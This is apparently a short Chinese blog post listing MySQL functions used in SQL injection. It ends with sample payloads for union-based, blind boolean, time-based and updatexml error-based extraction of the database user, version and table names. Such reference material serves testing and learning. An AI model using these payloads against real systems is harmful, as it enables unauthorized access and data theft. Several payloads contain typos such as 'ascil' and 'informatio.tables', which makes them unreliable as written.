sql 注入会遇到的一些函数

函数名称 作用

system_user() 系统用户名

user() 用户名

current_user() 当前用户名

session_user() 连接数据库的用户名

database() 数据库名

version() 数据库版本

@@version() 数据库版本

@@datadir 数据库路径

@@basedir 数据库安装路径

@@version_compile_os 操作系统

count() 执行返回结果的数量

concat() 没有分隔符的链接字符串

concat_ws() 含有分隔符链接字符串

group_concat() 链接一个组的字符串,以逗号分开

load_file() 读文件

into outfile 写文件

ascil() 字符串的ascil代码值

ord() 返回字符串的第一个ascil值

mid() 返回字符串的一部分

           例子:select mid ('mysql',1,1)

substr()

          例子:select substr('mysql',1,1)

length() 判断长度

floor 返回小于或等于x的最大整数

         例子:select floor(5.9)   结果返回5

extractvalue() 第一个参数:xml对象名称,第二参数为xpath字符串

                        作用:从目标xml中返回包含查询的字符串

updatexml() 第一个参数,xml对象名

                      第二个参数,xpath表达式

                       第三个参数,新的字符串,替换查找到的符合条件的数据

                      改变字符文档符合的节点值

sleep() 睡眠

if select if (1>2,2,3); 如果表达式为真返回第二个,否则返回第三个

               结果:3

char() 返回整数ascil的字符串

sql注入样例分析;

and 1=2 union select 1,2,3 --+

select user() regexp '^ro'

ascil(substr(select user(),1,1)) =114

if(ascil(substr(select user(),1,1)=114,0,sleep(5))

(ascil(substr(select table_name from informatio.tables where table_schema=database() limit 0,1),1,1))=9)

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
禁止转载,如需转载请通过简信或评论联系作者。